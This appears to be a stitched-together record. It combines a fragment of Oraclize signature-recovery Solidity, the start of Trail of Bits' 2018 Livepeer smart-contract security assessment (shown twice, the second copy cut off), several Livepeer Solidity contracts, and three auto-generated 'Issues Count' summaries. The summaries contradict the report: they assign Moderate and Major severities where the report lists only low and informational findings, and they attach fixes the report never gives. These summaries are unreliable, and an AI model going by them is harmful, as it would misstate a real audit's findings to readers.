{bytes32 r}{bytes32 s}{uint8 v} // Compact means, uint8 is not padded to 32 bytes. assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) // Here we are loading the last 32 bytes. We exploit the fact that // 'mload' will pad with zeroes if we overread. // There is no 'mload8' to do this, but that would be nicer. v := byte(0, mload(add(sig, 96))) // Alternative solution: // 'byte' is not working due to the Solidity parser, so lets // use the second best option, 'and' // v := and(mload(add(sig, 65)), 255) } // albeit non-transactional signatures are not specified by the YP, one would expect it // to match the YP range of [27, 28] // // geth uses [0, 1] and some clients have followed. This might change, see: // https://github.com/ethereum/go-ethereum/issues/2053 if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } } // </ORACLIZE_API>
  L iv e p e e r   S e c u r i t y A s s e s s m e n t   Smart Contract and Token Protocol   March 12, 2018                     Prepared For:   Doug Petkanics | Livepeer  doug@livepeer.org    Prepared By:   Evan Sultanik | Trail of Bits  evan.sultanik@trailofbits.com    Chris Evans | Trail of Bits  chris.evans@trailofbits.com     Changelog  March 9, 2018: Initial report delivered  March 10, 2018:  Added informational finding TOB-Livepeer-005  March 12, 2018: Public release      © 2018 Trail of Bits    Livepeer Security Assessment | 1     Executive Summary  Coverage  Project Dashboard  Recommendations Summary  Short Term  Long Term  Findings summary  1. Transcoder election can be predictable and influenced  2. Loss of precision for sufficiently high denominator and amount  3. Pseudorandom number generation is not random  4. Transcoders with low bonded stake can avoid slashing penalties  5.Bondingsynchronizationerrorsbetweendatastructurescanenablestolenand                       locked tokens  A. Vulnerability classifications  B. Code quality recommendations  C. Slither  Usage  D. Storage mapping deletion pattern in SortedDoublyLL  E. Pseudorandom number generation in smart contracts        © 2018 Trail of Bits    Livepeer Security Assessment | 2   E x e c u t i v e S u m m a r y  From February 26 through March 9, 2018, Livepeer engaged with Trail of Bits to assess the  Livepeer system’s smart contracts. The assessed contracts components were written in  Solidity with a small amount of EVM assembly. Trail of Bits conducted this assessment over  the course of four person-weeks with two engineers.    The priority of the assessment focused on interactions between bonding management, job  management, stake and earning allocation, and round progression. We directed extensive  static analysis and dynamic instrumentation effort towards finding interactions that could  lead to ill-gotten monetary gain or denial of service attacks against the protocol.    The code reviewed is of excellent quality, written with obvious awareness of current smart  contract development best practices and utilizing well tested frameworks such as  OpenZeppelin. The manager proxy and delegate controller contracts are restrictive enough  to defend against any unauthorized administrative action.    The Livepeer protocol is designed to make several randomized decisions which are  generally unfair and susceptible to collusion. The logic and state machines of the managers  are very complex and could easily harbor new vulnerabilities as the result of a hasty future  refactor. Edge-cases related to the floating-point and linked-list implementations can  prevent delegated stake from being burnt after a slash. Analysis of the utility libraries for  floating-point and linked-list implementations revealed some edge-case scenarios that  prevent some delegated stake from burning after being slashed.    Overall the largest indicator of Livepeer’s security strength is the consistency of its code.  Integration and unit tests handle many edge cases that result from normal use of the  protocol. Changes made in response to these findings can indirectly mitigate many exploit  patterns. Extensive parameter handling and requirements also reduce the threat of  malformed patterns.    As development of smart contract software continues, ensure the same level of consistency  is maintained when adding features or upgrading pre-existing components. The current  iteration of the smart contract protocol provides a secure foundation and meets many of  the standards set by the Livepeer platform.    Appendix B and Appendix D contain references to implementation specifics that will help  developing around certain areas of the code. Appendix C contains a short reference to the  Slither static analyzer used in this engagement and accompanied with the final report.  Appendix E discusses the challenges of pseudorandom number generation with respect to  findings TOB-Livepeer-001 and TOB-Livepeer-003 .    © 2018 Trail of Bits    Livepeer Security Assessment | 3   E n g a g e m e n t G o a l s & S c o p e   The engagement was scoped to provide a security assessment of the risk factors related to  the core Livepeer smart contract implementation and ecosystem.    In particular we sought to answer the following questions:    ●Is it possible for an unauthorized third party to gain administrative access to  deployed Livepeer contracts?  ●Are tokens managed and stored securely within the contract?  ●Can participants manipulate the bonding and transcoding protocols to gain an  unfair advantage?  ●Is it possible to cause the contract services to enter an unrecoverable state?    The following components remained out of scope and were not examined as part of the  assessment:    ●The external TrueBit verification protocol for transcoded segments.  ●Network protocols for peer-to-peer video streaming and playback.  ●Transcoding libraries and software for desktop and mobile applications.  ●The out-of-band storage and retrieval of transcoded segments on the Swarm layer.  ●The Livepeer website and online media platform.    Trail of Bits conducted a detailed security analysis from the perspective of an attacker with  access to the public Livepeer documentation and source code. We sought to identify risks,  and scored their severity based on their likelihood and potential impact. We also sought to  provide a mitigation strategy for each risk factor, whether it required a procedural change  or a replacement of the solution, in whole or in part, with a more secure alternative.       © 2018 Trail of Bits    Livepeer Security Assessment | 4   C o v e r a g e   While the entire codebase was inspected for common solidity flaws, this audit focused on  an in-depth analysis of the job, rounds, and bonding managers. Since the quality of the  coding standards are so high, latent bugs are likely to be related to logic or concurrency.    ERC20 token implementation and genesis. Scenarios involving token ownership,  transfer, and minting were assessed and tested. Usage of the OpenZepplin base templates  were analyzed for attack surface exposure. The initial token release contract was verified to  conform with standard ICO and crowdsale procedures. In the initial token genesis we  looked for initial parameters that could trigger the end of token distribution and delegation  prematurely. Proper handling of grant allocation arithmetic was inspected, but owner  restrictions on critical functions prohibited any extensive tampering outside of initialization.     Token minting and inflation. The token minter contract was primarily analyzed for use  cases that could manipulate inflation management to create unstable and unreasonable  bonding rates. Conditional logic prevents underflowing the inflation. However, the absence  of SafeMath might cause problems in the future.    Floating point arithmetic library. Percentage calculations were explored for edge cases  that could cause unintentional behavior in the core contract logic. The precision limits of  basic fractional operators were explored and tested for consistency and correctness  against expected results.     Internal on-chain data structures. The double linked-list for transcoder pools was  interrogated for bugs and situations that could corrupt the integrity of the data stored. It  was also tested for resilience against unorthodox requests for rapid insertion and removal  of nodes.    Job management protocols. Behavior for creation of transcoding jobs as well as claiming  rewards for completed work were examined for vulnerabilities. The penalty mechanism for  slashing dishonest participants was also explored for use cases of potential abuse.    Rounds Management Protocols. The mechanism for scheduling activity on the Livepeer  network was inspected for issues that could lead to deadlock or miscalculation. The  invariant assumptions of elapsed time, locking periods, and permissible function calls  within a round were tested.    Earnings protocols. The mechanism for claiming work was inspected to see if the checks  could be bypassed, e.g. , via a race condition. The verification methods were evaluated for  determinism and their susceptibility to collusion. Fee and earnings share stability and    © 2018 Trail of Bits    Livepeer Security Assessment | 5   malleability was also covered. Finally, locking conditions were investigated to try and cause  a job to disappear or become irretrievable.    Bonding protocols. Numerous bonding edge cases, race conditions, and timing sequences  were investigated that are not yet exercised by the automated testing. For example,  bonding to transcoders that have not yet registered, re-bonding mid-round, and transcoder  re-signing and re-registration. Active transcoder election was also investigated to  determine whether it is predictable or influenceable.    Contract controller interfaces and proxy contract delegation. Proxy contract  delegation was reviewed briefly. No potential vulnerabilities were immediately apparent.  However, there was insufficient time to complete an investigation into the possibility to  abuse storage to change controller, manager, or owner addresses. Specifically, there might  be the possibility that an upgrade introducing uninitialized storage pointers or tainted array  lengths could enable the controller address and owner to be changed. While the base  target is sparse enough that such a vulnerability does not appear possible, it does warrant  further investigation.    Scalability. A small scale stress test was conducted with a dozen broadcasters, a dozen  transcoders, and two dozen delegators. Other than being mindful of scalability concerns  while auditing the code, no other specific effort was made into investigating scalability.        © 2018 Trail of Bits    Livepeer Security Assessment | 6   P r o j e c t D a s h b o a r d   Application Summary  Name  Livepeer Protocol  Version  929182cc684410d55eb9048f47ed1ec3ab70461a  Type  Smart contracts  Platform  Solidity, Javascript    Engagement Summary  Dates  February 26 to March 9, 2018  Method  Whitebox  Consultants Engaged  2  Level of Effort  4 person-weeks    Vulnerability Summary   Total High Severity Issues  0    Total Medium Severity Issues  0    Total Low Severity Issues  3 ◼◼◼  Total Informational Severity Issues  2 ◼◼  Total Undetermined Severity Issues  0    Total 5      Category Breakdown  Denial of Service  1 ◼  Arithmetic  2 ◼◼  Cryptography  1 ◼  Undetermined  1 ◼  Total 4         © 2018 Trail of Bits    Livepeer Security Assessment | 7   R e c o m m e n d a t i o n s S u m m a r y   S h o r t T e r m   ❑ Explicitly scope the parameters for floating point arithmetic functions. The  precision limit these functions can handle should be programmatically enforced.    ❑ Limit the use of block hash and other deterministic entropy sources for  pseudorandomness. Transcoder elections are currently not fair. As soon as the Livepeer  ecosystem contains enough ether to justify miner collusion, any architectural component  that relies on the pseudorandom number generation (PRNG) scheme is threatened.    ❑ Have transcoder slashing always penalize a minimum amount of stake if possible.  Scenarios where a transcoder has non-zero stake but can be slashed without suffering a  penalty encourages bad behavior on the Livepeer network.    ❑ Improve source code comments to describe state machine semantics. Contracts like  the Bonding Manager have very complex semantics that are not immediately transparent  from the code. It would be very easy for these to be broken in a future refactor.  L o n g T e r m   ❑ Document and extend the floating point library. Include detailed use cases of limits  as well as explanations of parameter inputs and limitations. This will help developers’  understanding for interacting with the library. Upstreaming these utilities to a third party  framework may support the development of a robust system that will be able to handle  extended precision needs in the future.    ❑ Use an external source of randomness, or none at all. There is no safe way to use  blockch ain-derived randomness without risking collusion and/or unfairness.    ❑ Improve automated testing. Create integration tests to cover all of the intricacies and  edge cases of processes like bonding.    ❑ Ensure penalties are strong enough to deter misbehavior. The transcoder slashing  protocol is currently the primary mechanism that inhibits dishonest participation of  processing video transcoding. Edge cases that do not proportionally punish misbehavior  have the potential to negatively impact the network as a whole.         © 2018 Trail of Bits    Livepeer Security Assessment | 8   F i n d i n g s s u m m a r y   # Title  Type  Severity  1 Transcoder election can be predictable  and influenceable Denial of Service Low  2 Loss of precision for sufficiently high  denominator and amount Arithmetic  Informational  3 Pseudorandom number generation is not  random Cryptography  Low  4 Transcoders with low bonded stake can  avoid slashing penalties Arithmetic  Low  5 Bonding synchronization errors between  data structures can enable stolen and  locked tokens Denial of Service Informational          © 2018 Trail of Bits    Livepeer Security Assessment | 9   1 . T r a n s c o d e r e l e c t i o n c a n b e p r e d i c t a b l e a n d i n
Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 1 Critical: 0 Minor Issues: 2.a Problem: Loss of precision for sufficiently high denominator and amount 2.b Fix: Use fixed-point arithmetic Moderate Issues: 3.a Problem: Pseudorandom number generation is not random 3.b Fix: Use a cryptographically secure random number generator Major Issues: 4.a Problem: Transcoders with low bonded stake can avoid slashing penalties 4.b Fix: Increase the minimum bonded stake Observations: The code reviewed is of excellent quality, written with obvious awareness of current smart contract development best practices and utilizing well tested frameworks such as OpenZeppelin. The manager proxy and delegate controller contracts are restrictive enough to defend against any unauthorized administrative action. Conclusion: The Livepeer protocol is designed to make several randomized decisions which are generally unfair and susceptible to collusion. The logic and state machines of the managers are very complex and could easily harbor new vulnerabilities as the result of a hasty future refactor. Edge-cases related to the floating-point and linked-list implementations can prevent delegated Issues Count of Minor/Moderate/Major/Critical: Minor: 2 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem (one line with code reference): Edge-case scenarios prevent some delegated stake from burning after being slashed. (TOB-Livepeer-001) 2.b Fix (one line with code reference): Changes made in response to these findings can indirectly mitigate many exploit patterns. (TOB-Livepeer-001) Moderate: 3.a Problem (one line with code reference): Pseudorandom number generation is vulnerable to exploitation. (TOB-Livepeer-003) 3.b Fix (one line with code reference): Extensive parameter handling and requirements reduce the threat of malformed patterns. (TOB-Livepeer-003) Observations: - Livepeer’s security strength is the consistency of its code. - Integration and unit tests handle many edge cases that result from normal use of the protocol. - Ensure the same level of consistency is maintained when adding features or upgrading pre-existing components. - Appendix B and Appendix D contain references to implementation specifics that will help developing around Issues Count of Minor/Moderate/Major/Critical: Minor: 2 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: The absence of SafeMath might cause problems in the future. (Livepeer Security Assessment | 4) 2.b Fix: Implement SafeMath library. Moderate: 3.a Problem: Precision limits of basic fractional operators were explored and tested for consistency and correctness against expected results. (Livepeer Security Assessment | 4) 3.b Fix: Increase precision limits of basic fractional operators. Observations: - The entire codebase was inspected for common solidity flaws. - ERC20 token implementation and genesis were assessed and tested. - Token minting and inflation were analyzed for attack surface exposure. - Percentage calculations were explored for edge cases that could cause unintentional behavior in the core contract logic. - The double linked-list for transcoder pools was interrogated for bugs and situations that could corrupt the integrity of the data stored. - Behavior for creation of transcoding jobs as well as claiming rewards for completed work were examined for vulnerabilities. - The mechanism for scheduling activity on the Livepeer network was
pragma solidity ^0.4.17; import "./IController.sol"; import "./IManager.sol"; import "zeppelin-solidity/contracts/lifecycle/Pausable.sol"; contract Controller is Pausable, IController { // Track information about a registered contract struct ContractInfo { address contractAddress; // Address of contract bytes20 gitCommitHash; // SHA1 hash of head Git commit during registration of this contract } // Track contract ids and contract info mapping (bytes32 => ContractInfo) private registry; function Controller() public { // Start system as paused paused = true; } /* * @dev Register contract id and mapped address * @param _id Contract id (keccak256 hash of contract name) * @param _contract Contract address */ function setContractInfo(bytes32 _id, address _contractAddress, bytes20 _gitCommitHash) external onlyOwner { registry[_id].contractAddress = _contractAddress; registry[_id].gitCommitHash = _gitCommitHash; SetContractInfo(_id, _contractAddress, _gitCommitHash); } /* * @dev Update contract's controller * @param _id Contract id (keccak256 hash of contract name) * @param _controller Controller address */ function updateController(bytes32 _id, address _controller) external onlyOwner { return IManager(registry[_id].contractAddress).setController(_controller); } /* * @dev Return contract info for a given contract id * @param _id Contract id (keccak256 hash of contract name) */ function getContractInfo(bytes32 _id) public view returns (address, bytes20) { return (registry[_id].contractAddress, registry[_id].gitCommitHash); } /* * @dev Get contract address for an id * @param _id Contract id */ function getContract(bytes32 _id) public view returns (address) { return registry[_id].contractAddress; } } pragma solidity ^0.4.17; // solium-disable contract Migrations { address public owner; uint public last_completed_migration; modifier restricted() { if (msg.sender == owner) _; } function Migrations() public { owner = msg.sender; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } } pragma solidity ^0.4.17; import "./IManager.sol"; import "./IController.sol"; contract Manager is IManager { // Controller that contract is registered with IController public controller; // Check if sender is controller modifier onlyController() { require(msg.sender == address(controller)); _; } // Check if sender is controller owner modifier onlyControllerOwner() { require(msg.sender == controller.owner()); _; } // Check if controller is not paused modifier whenSystemNotPaused() { require(!controller.paused()); _; } // Check if controller is paused modifier whenSystemPaused() { require(controller.paused()); _; } function Manager(address _controller) public { controller = IController(_controller); } /* * @dev Set controller. Only callable by current controller * @param _controller Controller contract address */ function setController(address _controller) external onlyController { controller = IController(_controller); SetController(_controller); } } pragma solidity ^0.4.17; import "./Manager.sol"; /** * @title ManagerProxyTarget * @dev The base contract that target contracts used by a proxy contract should inherit from * Note: Both the target contract and the proxy contract (implemented as ManagerProxy) MUST inherit from ManagerProxyTarget in order to guarantee * that both contracts have the same storage layout. Differing storage layouts in a proxy contract and target contract can * potentially break the delegate proxy upgradeability mechanism */ contract ManagerProxyTarget is Manager { // Used to look up target contract address in controller's registry bytes32 public targetContractId; } pragma solidity ^0.4.17; import "./token/ILivepeerToken.sol"; import "./token/ITokenDistribution.sol"; import "zeppelin-solidity/contracts/math/SafeMath.sol"; import "zeppelin-solidity/contracts/ownership/Ownable.sol"; import "zeppelin-solidity/contracts/token/TokenVesting.sol"; import "zeppelin-solidity/contracts/token/TokenTimelock.sol"; contract GenesisManager is Ownable { using SafeMath for uint256; // LivepeerToken contract ILivepeerToken public token; // TokenDistribution contract ITokenDistribution public tokenDistribution; // Address of the Livepeer bank multisig address public bankMultisig; // Address of the Minter contract in the Livepeer protocol address public minter; // Initial token supply issued uint256 public initialSupply; // Crowd's portion of the initial token supply uint256 public crowdSupply; // Company's portion of the initial token supply uint256 public companySupply; // Team's portion of the initial token supply uint256 public teamSupply; // Investors' portion of the initial token supply uint256 public investorsSupply; // Community's portion of the initial token supply uint256 public communitySupply; // Token amount in grants for the team uint256 public teamGrantsAmount; // Token amount in grants for investors uint256 public investorsGrantsAmount; // Token amount in grants for the community uint256 public communityGrantsAmount; // Map receiver addresses => contracts holding receivers' vesting tokens mapping (address => address) public vestingHolders; // Map receiver addresses => contracts holding receivers' time locked tokens mapping (address => address) public timeLockedHolders; enum Stages { // Stage for setting the allocations of the initial token supply GenesisAllocation, // Stage for the creating token grants and the token distribution GenesisStart, // Stage for the end of genesis when ownership of the LivepeerToken contract // is transferred to the protocol Minter GenesisEnd } // Current stage of genesis Stages public stage; // Check if genesis is at a particular stage modifier atStage(Stages _stage) { require(stage == _stage); _; } /** * @dev GenesisManager constructor * @param _token Address of the Livepeer token contract * @param _tokenDistribution Address of the token distribution contract * @param _bankMultisig Address of the company bank multisig * @param _minter Address of the protocol Minter */ function GenesisManager( address _token, address _tokenDistribution, address _bankMultisig, address _minter ) public { token = ILivepeerToken(_token); tokenDistribution = ITokenDistribution(_tokenDistribution); bankMultisig = _bankMultisig; minter = _minter; stage = Stages.GenesisAllocation; } /** * @dev Set allocations for the initial token supply at genesis * @param _initialSupply Initial token supply at genesis * @param _crowdSupply Tokens allocated for the crowd at genesis * @param _companySupply Tokens allocated for the company (for future distribution) at genesis * @param _teamSupply Tokens allocated for the team at genesis * @param _investorsSupply Tokens allocated for investors at genesis * @param _communitySupply Tokens allocated for the community at genesis */ function setAllocations( uint256 _initialSupply, uint256 _crowdSupply, uint256 _companySupply, uint256 _teamSupply, uint256 _investorsSupply, uint256 _communitySupply ) external onlyOwner atStage(Stages.GenesisAllocation) { require(_crowdSupply + _companySupply + _teamSupply + _investorsSupply + _communitySupply == _initialSupply); initialSupply = _initialSupply; crowdSupply = _crowdSupply; companySupply = _companySupply; teamSupply = _teamSupply; investorsSupply = _investorsSupply; communitySupply = _communitySupply; } /** * @dev Start genesis */ function start() external onlyOwner atStage(Stages.GenesisAllocation) { // Token distribution must not be over require(!tokenDistribution.isOver()); // Mint the initial supply token.mint(this, initialSupply); // Transfer the crowd supply to the token distribution contract token.transfer(tokenDistribution, crowdSupply); stage = Stages.GenesisStart; } /** * @dev Add a team grant for tokens with a vesting schedule * @param _receiver Grant receiver * @param _amount Amount of tokens included in the grant * @param _timeToCliff Seconds until the vesting cliff * @param _vestingDuration Seconds starting from the vesting cliff until the end of the vesting schedule */ function addTeamGrant( address _receiver, uint256 _amount, uint256 _timeToCliff, uint256 _vestingDuration ) external onlyOwner atStage(Stages.GenesisStart) { uint256 updatedGrantsAmount = teamGrantsAmount.add(_amount); // Amount of tokens included in team grants cannot exceed the team supply during genesis require(updatedGrantsAmount <= teamSupply); teamGrantsAmount = updatedGrantsAmount; addVestingGrant(_receiver, _amount, _timeToCliff, _vestingDuration); } /** * @dev Add an investor grant for tokens with a vesting schedule * @param _receiver Grant receiver * @param _amount Amount of tokens included in the grant * @param _timeToCliff Seconds until the vesting cliff * @param _vestingDuration Seconds starting from the vesting cliff until the end of the vesting schedule */ function addInvestorGrant( address _receiver, uint256 _amount, uint256 _timeToCliff, uint256 _vestingDuration ) external onlyOwner atStage(Stages.GenesisStart) { uint256 updatedGrantsAmount = investorsGrantsAmount.add(_amount); // Amount of tokens included in investor grants cannot exceed the investor supply during genesis require(updatedGrantsAmount <= investorsSupply); investorsGrantsAmount = updatedGrantsAmount; addVestingGrant(_receiver, _amount, _timeToCliff, _vestingDuration); } /** * @dev Add a grant for tokens with a vesting schedule. An internal helper function used by addTeamGrant and addInvestorGrant * @param _receiver Grant receiver * @param _amount Amount of tokens included in the grant * @param _timeToCliff Seconds until the vesting cliff * @param _vestingDuration Seconds starting from the vesting cliff until the end of the vesting schedule */ function addVestingGrant( address _receiver, uint256 _amount, uint256 _timeToCliff, uint256 _vestingDuration ) internal { // Receiver must not have already received a grant with a vesting schedule require(vestingHolders[_receiver] == address(0)); // The grant's vesting schedule starts when the token distribution ends uint256 startTime = tokenDistribution.getEndTime(); // Create a vesting holder contract to act as the holder of the grant's tokens // Note: the vesting grant is revokable TokenVesting holder = new TokenVesting(_receiver, startTime, _timeToCliff, _vestingDuration, true); vestingHolders[_receiver] = holder; // Transfer ownership of the vesting holder to the owner of this contract // giving the owner of this contract to revoke the grant holder.transferOwnership(owner); token.transfer(holder, _amount); } /** * @dev Add a community grant for tokens that are locked until a predetermined time in the future * @param _receiver Grant receiver address * @param _amount Amount of tokens included in the grant */ function addCommunityGrant( address _receiver, uint256 _amount ) external onlyOwner atStage(Stages.GenesisStart) { uint256 updatedGrantsAmount = communityGrantsAmount.add(_amount); // Amount of tokens included in investor grants cannot exceed the community supply during genesis require(updatedGrantsAmount <= communitySupply); communityGrantsAmount = updatedGrantsAmount; // Receiver must not have already received a grant with timelocked tokens require(timeLockedHolders[_receiver] == address(0)); // The grant's tokens are timelocked until the token distribution ends uint256 releaseTime = tokenDistribution.getEndTime(); // Create a timelocked holder contract to act as the holder of the grant's tokens TokenTimelock holder = new TokenTimelock(token, _receiver, releaseTime); timeLockedHolders[_receiver] = holder; token.transfer(holder, _amount); } /** * @dev End genesis */ function end() external onlyOwner atStage(Stages.GenesisStart) { // Token distribution must be over require(tokenDistribution.isOver()); // Transfer company supply to the bank multisig token.transfer(bankMultisig, companySupply); // Transfer ownership of the LivepeerToken contract to the protocol Minter token.transferOwnership(minter); stage = Stages.GenesisEnd; } } pragma solidity ^0.4.17; contract IManager { event SetController(address controller); event ParameterUpdate(string param); function setController(address _controller) external; } pragma solidity ^0.4.17; import "./ManagerProxyTarget.sol"; /** * @title ManagerProxy * @dev A proxy contract that uses delegatecall to execute function calls on a target contract using its own storage context. * The target contract is a Manager contract that is registered with the Controller. * Note: Both this proxy contract and its target contract MUST inherit from ManagerProxyTarget in order to guarantee * that both contracts have the same storage layout. Differing storage layouts in a proxy contract and target contract can * potentially break the delegate proxy upgradeability mechanism */ contract ManagerProxy is ManagerProxyTarget { /** * @dev ManagerProxy constructor. Invokes constructor of base Manager contract with provided Controller address. * Also, sets the contract ID of the target contract that function calls will be executed on. * @param _controller Address of Controller that this contract will be registered with * @param _targetContractId contract ID of the target contract */ function ManagerProxy(address _controller, bytes32 _targetContractId) public Manager(_controller) { targetContractId = _targetContractId; } /** * @dev Uses delegatecall to execute function calls on this proxy contract's target contract using its own storage context. * This fallback function will look up the address of the target contract using the Controller and the target contract ID. * It will then use the calldata for a function call as the data payload for a delegatecall on the target contract. The return value * of the executed function call will also be returned */ function() public payable { address target = controller.getContract(targetContractId); // Target contract must be registered require(target > 0); assembly { // Solidity keeps a free memory pointer at position 0x40 in memory let freeMemoryPtrPosition := 0x40 // Load the free memory pointer let calldataMemoryOffset := mload(freeMemoryPtrPosition) // Update free memory pointer to after memory space we reserve for calldata mstore(freeMemoryPtrPosition, add(calldataMemoryOffset, calldatasize)) // Copy calldata (method signature and params of the call) to memory calldatacopy(calldataMemoryOffset, 0x0, calldatasize) // Call method on target contract using calldata which is loaded into memory let ret := delegatecall(gas, target, calldataMemoryOffset, calldatasize, 0, 0) // Load the free memory pointer let returndataMemoryOffset := mload(freeMemoryPtrPosition) // Update free memory pointer to after memory space we reserve for returndata mstore(freeMemoryPtrPosition, add(returndataMemoryOffset, returndatasize)) // Copy returndata (result of the method invoked by the delegatecall) to memory returndatacopy(returndataMemoryOffset, 0x0, returndatasize) switch ret case 0 { // Method call failed - revert // Return any error message stored in mem[returndataMemoryOffset..(returndataMemoryOffset + returndatasize)] revert(returndataMemoryOffset, returndatasize) } default { // Return result of method call stored in mem[returndataMemoryOffset..(returndataMemoryOffset + returndatasize)] return(returndataMemoryOffset, returndatasize) } } } } pragma solidity ^0.4.17; import "zeppelin-solidity/contracts/lifecycle/Pausable.sol"; contract IController is Pausable { event SetContractInfo(bytes32 id, address contractAddress, bytes20 gitCommitHash); function setContractInfo(bytes32 _id, address _contractAddress, bytes20 _gitCommitHash) external; function updateController(bytes32 _id, address _controller) external; function getContract(bytes32 _id) public view returns (address); }
  L iv e p e e r   S e c u r i t y A s s e s s m e n t   Smart Contract and Token Protocol   March 12, 2018                     Prepared For:   Doug Petkanics | Livepeer  doug@livepeer.org    Prepared By:   Evan Sultanik | Trail of Bits  evan.sultanik@trailofbits.com    Chris Evans | Trail of Bits  chris.evans@trailofbits.com     Changelog  March 9, 2018: Initial report delivered  March 10, 2018:  Added informational finding TOB-Livepeer-005  March 12, 2018: Public release      © 2018 Trail of Bits    Livepeer Security Assessment | 1     Executive Summary  Coverage  Project Dashboard  Recommendations Summary  Short Term  Long Term  Findings summary  1. Transcoder election can be predictable and influenced  2. Loss of precision for sufficiently high denominator and amount  3. Pseudorandom number generation is not random  4. Transcoders with low bonded stake can avoid slashing penalties  5.Bondingsynchronizationerrorsbetweendatastructurescanenablestolenand                       locked tokens  A. Vulnerability classifications  B. Code quality recommendations  C. Slither  Usage  D. Storage mapping deletion pattern in SortedDoublyLL  E. Pseudorandom number generation in smart contracts        © 2018 Trail of Bits    Livepeer Security Assessment | 2   E x e c u t i v e S u m m a r y  From February 26 through March 9, 2018, Livepeer engaged with Trail of Bits to assess the  Livepeer system’s smart contracts. The assessed contracts components were written in  Solidity with a small amount of EVM assembly. Trail of Bits conducted this assessment over  the course of four person-weeks with two engineers.    The priority of the assessment focused on interactions between bonding management, job  management, stake and earning allocation, and round progression. We directed extensive  static analysis and dynamic instrumentation effort towards finding interactions that could  lead to ill-gotten monetary gain or denial of service attacks against the protocol.    The code reviewed is of excellent quality, written with obvious awareness of current smart  contract development best practices and utilizing well tested frameworks such as  OpenZeppelin. The manager proxy and delegate controller contracts are restrictive enough  to defend against any unauthorized administrative action.    The Livepeer protocol is designed to make several randomized decisions which are  generally unfair and susceptible to collusion. The logic and state machines of the managers  are very complex and could easily harbor new vulnerabilities as the result of a hasty future  refactor. Edge-cases related to the floating-point and linked-list implementations can  prevent delegated stake from being burnt after a slash. Analysis of the utility libraries for  floating-point and linked-list implementations revealed some edge-case scenarios that  prevent some delegated stake from burning after being slashed.    Overall the largest indicator of Livepeer’s security strength is the consistency of its code.  Integration and unit tests handle many edge cases that result from normal use of the  protocol. Changes made in response to these findings can indirectly mitigate many exploit  patterns. Extensive parameter handling and requirements also reduce the threat of  malformed patterns.    As development of smart contract software continues, ensure the same level of consistency  is maintained when adding features or upgrading pre-existing components. The current  iteration of the smart contract protocol provides a secure foundation and meets many of  the standards set by the Livepeer platform.    Appendix B and Appendix D contain references to implementation specifics that will help  developing around certain areas of the code. Appendix C contains a short reference to the  Slither static analyzer used in this engagement and accompanied with the final report.  Appendix E discusses the challenges of pseudorandom number generation with respect to  findings TOB-Livepeer-001 and TOB-Livepeer-003 .    © 2018 Trail of Bits    Livepeer Security Assessment | 3   E n g a g e m e n t G o a l s & S c o p e   The engagement was scoped to provide a security assessment of the risk factors related to  the core Livepeer smart contract implementation and ecosystem.    In particular we sought to answer the following questions:    ●Is it possible for an unauthorized third party to gain administrative access to  deployed Livepeer contracts?  ●Are tokens managed and stored securely within the contract?  ●Can participants manipulate the bonding and transcoding protocols to gain an  unfair advantage?  ●Is it possible to cause the contract services to enter an unrecoverable state?    The following components remained out of scope and were not examined as part of the  assessment:    ●The external TrueBit verification protocol for transcoded segments.  ●Network protocols for peer-to-peer video streaming and playback.  ●Transcoding libraries and software for desktop and mobile applications.  ●The out-of-band storage and retrieval of transcoded segments on the Swarm layer.  ●The Livepeer website and online media platform.    Trail of Bits conducted a detailed security analysis from the perspective of an attacker with  access to the public Livepeer documentation and source code. We sought to identify risks,  and scored their severity based on their likelihood and potential impact. We also sought to  provide a mitigation strategy for each risk factor, whether it required a procedural change  or a replacement of the solution, in whole or in part, with a more secure alternative.       © 2018 Trail of Bits    Livepeer Security Assessment | 4   C o v e r a g e   While the entire codebase was inspected for common solidity flaws, this audit focused on  an in-depth analysis of the job, rounds, and bonding managers. Since the quality of the  coding standards are so high, latent bugs are likely to be related to logic or concurrency.    ERC20 token implementation and genesis. Scenarios involving token ownership,  transfer, and minting were assessed and tested. Usage of the OpenZepplin base templates  were analyzed for attack surface exposure. The initial token release contract was verified to  conform with standard ICO and crowdsale procedures. In the initial token genesis we  looked for initial parameters that could trigger the end of token distribution and delegation  prematurely. Proper handling of grant allocation arithmetic was inspected, but owner  restrictions on critical functions prohibited any extensive tampering outside of initialization.     Token minting and inflation. The token minter contract was primarily analyzed for use  cases that could manipulate inflation management to create unstable and unreasonable  bonding rates. Conditional logic prevents underflowing the inflation. However, the absence  of SafeMath might cause problems in the future.    Floating point arithmetic library. Percentage calculations were explored for edge cases  that could cause unintentional behavior in the core contract logic. The precision limits of  basic fractional operators were explored and tested for consistency and correctness  against expected results.     Internal on-chain data structures. The double linked-list for transcoder pools was  interrogated for bugs and situations that could corrupt the integrity of the data stored. It  was also tested for resilience against unorthodox requests for rapid insertion and removal  of nodes.    Job management protocols. Behavior for creation of transcoding jobs as well as claiming  rewards for completed work were examined for vulnerabilities. The penalty mechanism for  slashing dishonest participants was also explored for use cases of potential abuse.    Rounds Management Protocols. The mechanism for scheduling activity on the Livepeer  network was inspected for issues that could lead to deadlock or miscalculation. The  invariant assumptions of elapsed time, locking periods, and permissible function calls  within a round were tested.    Earnings protocols. The mechanism for claiming work was inspected to see if the checks  could be bypassed, e.g. , via a race condition. The verification methods were evaluated for  determinism and their susceptibility to collusion. Fee and earnings share stability and    © 2018 Trail of Bits    Livepeer Security Assessment | 5   malleability was also covered. Finally, locking conditions were investigated to try and cause  a job to disappear or become irretrievable.    Bonding protocols. Numerous bonding edge cases, race conditions, and timing sequences  were investigated that are not yet exercised by the automated testing. For example,  bonding to transcoders that have not yet registered, re-bonding mid-round, and transcoder  re-signing and re-registration. Active transcoder election was also investigated to  determine whether it is predictable or influenceable.    Contract controller interfaces and proxy contract delegation. Proxy contract  delegation was reviewed briefly. No potential vulnerabilities were immediately apparent.  However, there was insufficient time to complete an investigation into the possibility to  abuse storage to change controller, manager, or owner addresses. Specifically, there might  be the possibility that an upgrade introducing uninitialized storage pointers or tainted array  lengths could enable the controller address and owner to be changed. While the base  target is sparse enough that such a vulnerability does not appear possible, it does warrant  further investigation.    Scalability. A small scale stress test was conducted with a dozen broadcasters, a dozen  